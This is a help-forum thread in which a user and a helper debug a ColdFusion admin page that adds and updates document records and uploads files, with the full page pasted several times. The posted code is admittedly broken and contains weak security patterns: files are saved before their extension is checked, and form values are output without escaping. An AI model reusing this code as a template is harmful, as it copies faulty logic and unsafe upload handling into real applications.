	  <cfthrow message="Document Title is required">
	</cfif>
    <cfif len(form.DocumentType) eq 0>
	  <cfthrow message="Document Type is required">
	</cfif>

 <!--- in this query select NOTHING from table tbl_CEP_documents, and simply check if DocumentTitle exists --->
 
 <cfquery datasource="#ds#" name="CheckDocumentTitle">
  SELECT 'Nothing' FROM tbl_CEP_Documents
  WHERE DocumentTitle = <CFQUERYPARAM CFSQLTYPE="cf_sql_varchar" VALUE="#Form.DocumentTitle#">
  </cfquery>
   
  
   <!--- if DocumentTitle exists, throw error; refuse record insert --->
   
	<cfif CheckDocumentTitle.recordcount GT 0>
	   <cfthrow message="The Document Title is already taken; please enter another title">
	</cfif>
    
    
   
    <!--- query to update existing document --->
	<cfif val(form.DocumentID)> 
		
                
        <cfquery name="UpdateDocument" datasource="#ds#">
		 UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(form.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#form.DocumentID#">
		</cfquery>
        
        
        
	<cfelse> 
	
	
	<!---- query to insert new document ---->
        
		<cfquery name="InsertDocument" datasource="#ds#">
	 INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
		</cfquery>
        
        


<!--- fetch the identify column's value --->
        
		<cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>

    </cfif>
    
     

	

  <!--- use CFTRY and CFCATCH to test that file were uploaded successfully, or not --->
 
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>
  
  

  
  <!--- this will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
     <cfrethrow>
  </cfcatch>

<!--- end CFTRY --->  
</cftry>
  
  

  
</cfif>

<!--- only fetch the data from the database when NO errors.
      if an error, then let the form variables pass back into the form to display ---->
 
  <cfif len(variables.error) eq 0>
    
  <!--- get data from table tbl_CEP_Documents and convert the data into form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfloop index="aCol" list="#getDocumentDetails.columnList#">
       <cfset "form.#aCol#" = getDocumentDetails[aCol][getDocumentDetails.currentRow]>
  </cfloop>
    
</cfif>



<!--- if there an error, display error --->

<cfif len(variables.error)> 
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>



<!----- if record already exists (it will have an ID) then update it; otherwise, add new record... ----->
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>



  
<!--- Add or Update Document Form begins here --->
<cfform method="post">


 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#form.documentID#" />
<input type="hidden" name="fileID" value="#form.fileID#" />
  
 </cfoutput>

   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>


<table class="table_admin">

 <tr>
  <td>
<p><strong>Document ID: <cfoutput>#URL.DocumentID#</cfoutput></strong></p>
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Title</strong></p>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#form.DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
   <select name="DocumentType" value="#form.DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#form.DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="100" />
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#form.DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#form.DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


<tr>
  <td>
  
   <!--- display the files currently associated with the document --->


<p>Below, please see the files currently associated with Document ID <strong><cfoutput>#URL.DocumentID#</cfoutput></strong>. If there are no files associated with the document, then no files will appear below. You have the option to upload a file (PDF, DOC, image file), which will associate the file with Document ID <strong><cfoutput>#URL.DocumentID#</cfoutput></strong>.</p>

  <cfquery name="getFiles" datasource="#ds#">
    select * from tbl_CEP_files where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfif getFiles.recordCount>
   <table class="table_admin">
     <tr>
      <th>File Name</th>
      <th>Delete</th>
     </tr>
     <cfloop query="getFiles">
     <tr>
       <td>#getFiles.fileName#</td>
       <td><input type="Checkbox" name="deleteFileID" value="#getFiles.fileID#"></td>
     </tr>
     </cfloop>
   </table>
  </cfif>

  </td>
 </tr>

 <tr>
  <td>
  
 
  <!--- If there is a file to upload, do so here --->

 <!--- test to see if there is a file to upload --->
  
  <cfif len(form.fileName)>
 
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">
 
 <cfelse>
 
 </cfif>
 
</td>

 </tr>
</table>


  <!--- input field for file upload --->

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />





  <!--- submit form to ColdFusion for processing --->
<cfoutput>
  <input name="doSave" type="submit" value="#ButtonText#" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />
</cfoutput>




</cfform>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
gdemariaCommented:
Eric,

You're suggested a new step, let's call it 2-B.

But what is the difference between my step 1 and your step 2-B ?

My step 1 says if there is no file, go to step 7... which means skip over 2 through 6


1.  Check to see if a file is being uploaded (if not, skip to #7)
2.  If a file is being uploaded, use CFFILE to upload that file

If a file is NOT being uploaded, then disregard the CFFILE and do not alter the file data in table tbl_CEP_Files ... leave them be

3.  Check the uploaded file for the correct extension/type

Open in new window

0
gdemariaCommented:
> If nothing has been entered in the form field to upload a file, then ... nothing should happen? A file should not be uploaded?

If the user has not entered a file, how are you going to upload a file?


0
Eric BourlandAuthor Commented:
>>>My step 1 says if there is no file, go to step 7... which means skip over 2 through 6

Of course, you are right. This answers my question, so there is no need for step 2-B.

So, around line 293, I have this code:

  <!--- If there is a file to upload, do so here --->

 <!--- test to see if there is a file to upload --->
 
  <cfif len(form.fileName)>
 
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">
 
 <cfelse>
 
 </cfif>

... but this introduces an error:

Element FILENAME is undefined in FORM.

And, I am not sure what to say after the CFELSE ... is it here, or after the CFCATCH, that I tell the application to redirect to a new page?

Also .... can we amend step 7 slightly? I don't need to redirect to a new page; but only to come back to the "Control Panel" or list of documents at: http://ebwebwork.com/cep/admin/

Thanks again.

Eric
0
gdemariaCommented:
Your file upload code is an action that should be performed on form-submit.   It belongs inside your your action process at the top of the page, not in the midst of the form you display to the user.

The field is not defined because the code is not inside the CFIF at the top of the page where you process your form post.   Remember, it belongs in there after you handle your document insert/update


> Also .... can we amend step 7 slightly? I don't need to redirect to a new page; but only to come back to the "Control Panel" or list of documents at: http://ebwebwork.com/cep/admin/


By "new page"  I didn't mean a page that doesn't already exist, I suppose I should have said "redirect to a *different* page"   which means any page that is not insert_update.cfm

The CFLOCATION command should go immediately before the CFCATCH so it can redirect your page if everything was successful
0
Eric BourlandAuthor Commented:
OK, I did:

       <!--- everything went ok, go to next page; this is the page re-direct --->
      <cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

 
  <!--- this will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
     <cfrethrow>
  </cfcatch>

(full code appended)

OK, it looks like I need to define some variables. If I click on Edit I get:

 Element FILENAME is undefined in FORM.
 
The error occurred in C:\websites\ebwebwork.com\cep\admin\insert_update.cfm: line 300

298 :  <!--- test to see if there is a file to upload --->
299 :  
300 :   <cfif len(form.fileName)>
301 :  
302 : <p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>


If I click on Add a document I get:

 Element DOCUMENTID is undefined in URL.
 
The error occurred in C:\websites\ebwebwork.com\cep\admin\insert_update.cfm: line 189
Called from C:\websites\ebwebwork.com\cep\admin\insert_update.cfm: line 170
Called from C:\websites\ebwebwork.com\cep\admin\insert_update.cfm: line 1

187 :  <tr>
188 :   <td>
189 : <p><strong>Document ID: <cfoutput>#URL.DocumentID#</cfoutput></strong></p>
190 :   </td>
191 :  </tr>

I thought we had defined these variables correctly, before?
<!--- Page header --->
<cfinclude template="cep_header.cfm" />

 <!--- Set default value for DocumentID and FileID in scope FORM --->
<cfparam name="form.DocumentID" default="">
<cfparam name="form.FileID" default="">



 <!--- Set datasource --->
 <cfset ds="ebwebwork">

<cfset variables.error = ""> <!---- populate this with an error message ---->


<!--- begin form.doSave to prevent form action processing as soon as page loads; and to validate, insert/update record --->

<cfif IsDefined("FORM.doSave")>


  <cftry>  <!---- begin CFTRY; catch any errors, whether you throw them or the database does ---->
  

    <cfif len(form.DocumentTitle) eq 0>
	  <cfthrow message="Document Title is required">
	</cfif>
    <cfif len(form.DocumentType) eq 0>
	  <cfthrow message="Document Type is required">
	</cfif>

 <!--- in this query select NOTHING from table tbl_CEP_documents, and simply check if DocumentTitle exists --->
 
 <cfquery datasource="#ds#" name="CheckDocumentTitle">
  SELECT 'Nothing' FROM tbl_CEP_Documents
  WHERE DocumentTitle = <CFQUERYPARAM CFSQLTYPE="cf_sql_varchar" VALUE="#Form.DocumentTitle#">
  </cfquery>
   
  
   <!--- if DocumentTitle exists, throw error; refuse record insert --->
   
	<cfif CheckDocumentTitle.recordcount GT 0>
	   <cfthrow message="The Document Title is already taken; please enter another title">
	</cfif>
    
    
   
    <!--- query to update existing document --->
	<cfif val(form.DocumentID)> 
		
                
        <cfquery name="UpdateDocument" datasource="#ds#">
		 UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(form.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#form.DocumentID#">
		</cfquery>
        
        
        
	<cfelse> 
	
	
	<!---- query to insert new document ---->
        
		<cfquery name="InsertDocument" datasource="#ds#">
	 INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
		</cfquery>
        
        


<!--- fetch the identify column's value --->
        
		<cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>

    </cfif>
    
     

	

  <!--- use CFTRY and CFCATCH to test that file were uploaded successfully, or not --->
 
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>
  
  
  
       <!--- everything went ok, go to next page; this is the page re-direct --->
      <cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

  
  <!--- this will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
     <cfrethrow>
  </cfcatch>

<!--- end CFTRY --->  
</cftry>
  
  

  
</cfif>

<!--- only fetch the data from the database when NO errors.
      if an error, then let the form variables pass back into the form to display ---->
 
  <cfif len(variables.error) eq 0>
    
  <!--- get data from table tbl_CEP_Documents and convert the data into form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfloop index="aCol" list="#getDocumentDetails.columnList#">
       <cfset "form.#aCol#" = getDocumentDetails[aCol][getDocumentDetails.currentRow]>
  </cfloop>
    
</cfif>



<!--- if there an error, display error --->

<cfif len(variables.error)> 
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>



<!----- if record already exists (it will have an ID) then update it; otherwise, add new record... ----->
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>



  
<!--- Add or Update Document Form begins here --->
<cfform method="post">


 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#form.documentID#" />
<input type="hidden" name="fileID" value="#form.fileID#" />
  
 </cfoutput>

   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>


<table class="table_admin">

 <tr>
  <td>
<p><strong>Document ID: <cfoutput>#URL.DocumentID#</cfoutput></strong></p>
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Title</strong></p>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#form.DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
   <select name="DocumentType" value="#form.DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#form.DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="100" />
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#form.DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#form.DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


<tr>
  <td>
  
   <!--- display the files currently associated with the document --->


<p>Below, please see the files currently associated with Document ID <strong><cfoutput>#URL.DocumentID#</cfoutput></strong>. If there are no files associated with the document, then no files will appear below. You have the option to upload a file (PDF, DOC, image file), which will associate the file with Document ID <strong><cfoutput>#URL.DocumentID#</cfoutput></strong>.</p>

  <cfquery name="getFiles" datasource="#ds#">
    select * from tbl_CEP_files where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfif getFiles.recordCount>
   <table class="table_admin">
     <tr>
      <th>File Name</th>
      <th>Delete</th>
     </tr>
     <cfloop query="getFiles">
     <tr>
       <td>#getFiles.fileName#</td>
       <td><input type="Checkbox" name="deleteFileID" value="#getFiles.fileID#"></td>
     </tr>
     </cfloop>
   </table>
  </cfif>

  </td>
 </tr>

 <tr>
  <td>
  
 
  <!--- If there is a file to upload, do so here --->

 <!--- test to see if there is a file to upload --->
  
  <cfif len(form.fileName)>
 
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">
 
 <cfelse>
 
 </cfif>
 
</td>

 </tr>
</table>


  <!--- input field for file upload --->

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />





  <!--- submit form to ColdFusion for processing --->
<cfoutput>
  <input name="doSave" type="submit" value="#ButtonText#" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />
</cfoutput>




</cfform>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
gdemariaCommented:

Both issues are addressed in the posts above

See posts with IDs...


ID:30531789 - FileName

ID:30327521 - URL
0
Eric BourlandAuthor Commented:
>>>The field is not defined because the code is not inside the CFIF at the top of the page where you process your form post.   Remember, it belongs in there after you handle your document insert/update

Of course.

I need to slow down; read more carefully; and not be so anxious.

More in a while.
0
Eric BourlandAuthor Commented:
>>>>Your file upload code is an action that should be performed on form-submit.   It belongs inside your your action process at the top of the page, not in the midst of the form you display to the user.

The field is not defined because the code is not inside the CFIF at the top of the page where you process your form post.   Remember, it belongs in there after you handle your document insert/update

OK, I have been thinking hard about this, and trying to place the correct code in the correct place.

What I understand from above is, the CFFILE goes inside the CFCATCH. Which goes inside the CFTRY.

And, just before the CFCATCH, goes the CFLOCATION.

So I have a structure that looks like this:

  <cftry>  <!---- begin CFTRY; catch any errors, whether you throw them or the database does; and to test that file were uploaded successfully, or not  ---->
 

 <!--- upload a file using CFFILE --->
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>
 
       <!--- everything went ok, go to next page; this is the page re-direct --->
      <cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

 
  <!--- this will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
     <cfrethrow>
  </cfcatch>
 
  <!--- end CFTRY --->  
</cftry>

And, according to your notes, this structure goes at the top of my page -- but inside the <cfif IsDefined("FORM.doSave")> -- but AFTER the document insert / update.

I've done this, resulting in the code you see below. I am labeling / commenting this code meticulously, to help me learn it, and to help you read it.

I still get the variables undefined errors. Ugh. What am I doing wrong? Again, sorry to be so dense. I really appreciate your patience.

Eric
<!--- Page header --->
<cfinclude template="cep_header.cfm" />

 <!--- Set default value for DocumentID and FileID in scope FORM --->
<cfparam name="form.DocumentID" default="">
<cfparam name="form.FileID" default="">



 <!--- Set datasource --->
 <cfset ds="ebwebwork">

<cfset variables.error = ""> <!---- populate this with an error message ---->


<!--- begin form.doSave to prevent form action processing as soon as page loads; and to validate, insert/update record --->
<cfif IsDefined("FORM.doSave")>


  
  
  
<!--- make sure that documentTitle and documentType are entered --->  
    <cfif len(form.DocumentTitle) eq 0>
	  <cfthrow message="Document Title is required">
	</cfif>
    <cfif len(form.DocumentType) eq 0>
	  <cfthrow message="Document Type is required">
	</cfif>

 <!--- in this query select NOTHING from table tbl_CEP_documents, and simply check if DocumentTitle exists --->
 
 <cfquery datasource="#ds#" name="CheckDocumentTitle">
  SELECT 'Nothing' FROM tbl_CEP_Documents
  WHERE DocumentTitle = <CFQUERYPARAM CFSQLTYPE="cf_sql_varchar" VALUE="#Form.DocumentTitle#">
  </cfquery>
   
  
   <!--- if DocumentTitle exists, throw error; refuse record insert --->
   
	<cfif CheckDocumentTitle.recordcount GT 0>
	   <cfthrow message="The Document Title is already taken; please enter another title">
	</cfif>
    
    
   
    <!--- query to update existing document --->
    
    <!--- begin CFIF val(form.DocumentID) --->
	<cfif val(form.DocumentID)> 
		
                
        <cfquery name="UpdateDocument" datasource="#ds#">
		 UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(form.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#form.DocumentID#">
		</cfquery>
        
        
        
	<cfelse> 
	
	
	<!---- query to insert new document ---->
        
		<cfquery name="InsertDocument" datasource="#ds#">
	 INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
		</cfquery>
        
        


<!--- fetch the identify column's value --->
        
		<cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>





  <cftry>  <!---- begin CFTRY; catch any errors, whether you throw them or the database does; and to test that file were uploaded successfully, or not  ---->
  

 <!--- upload a file using CFFILE --->
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>
  
       <!--- everything went ok, go to next page; this is the page re-direct --->
      <cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

  
  <!--- this will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
     <cfrethrow>
  </cfcatch>
  
  <!--- end CFTRY --->  
</cftry>





    <!--- end CFIF val(form.DocumentID) --->
    </cfif>
    
     

  <!--- end form.doSave --->
</cfif>



<!--- only fetch the data from the database when NO errors.
      if an error, then let the form variables pass back into the form to display ---->
 
  <cfif len(variables.error) eq 0>
    
  <!--- get data from table tbl_CEP_Documents and convert the data into form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfloop index="aCol" list="#getDocumentDetails.columnList#">
       <cfset "form.#aCol#" = getDocumentDetails[aCol][getDocumentDetails.currentRow]>
  </cfloop>
    
</cfif>



<!--- if there an error, display error --->

<cfif len(variables.error)> 
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>



<!----- if record already exists (it will have an ID) then update it; otherwise, add new record... ----->
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>



  
<!--- Add or Update Document Form begins here --->
<cfform method="post">


 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#form.documentID#" />
<input type="hidden" name="fileID" value="#form.fileID#" />
  
 </cfoutput>

   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>


<table class="table_admin">

 <tr>
  <td>
<p><strong>Document ID: <cfoutput>#URL.DocumentID#</cfoutput></strong></p>
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Title</strong></p>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#form.DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
   <select name="DocumentType" value="#form.DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#form.DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="100" />
  </td>
 </tr>

 <tr>
  <td>
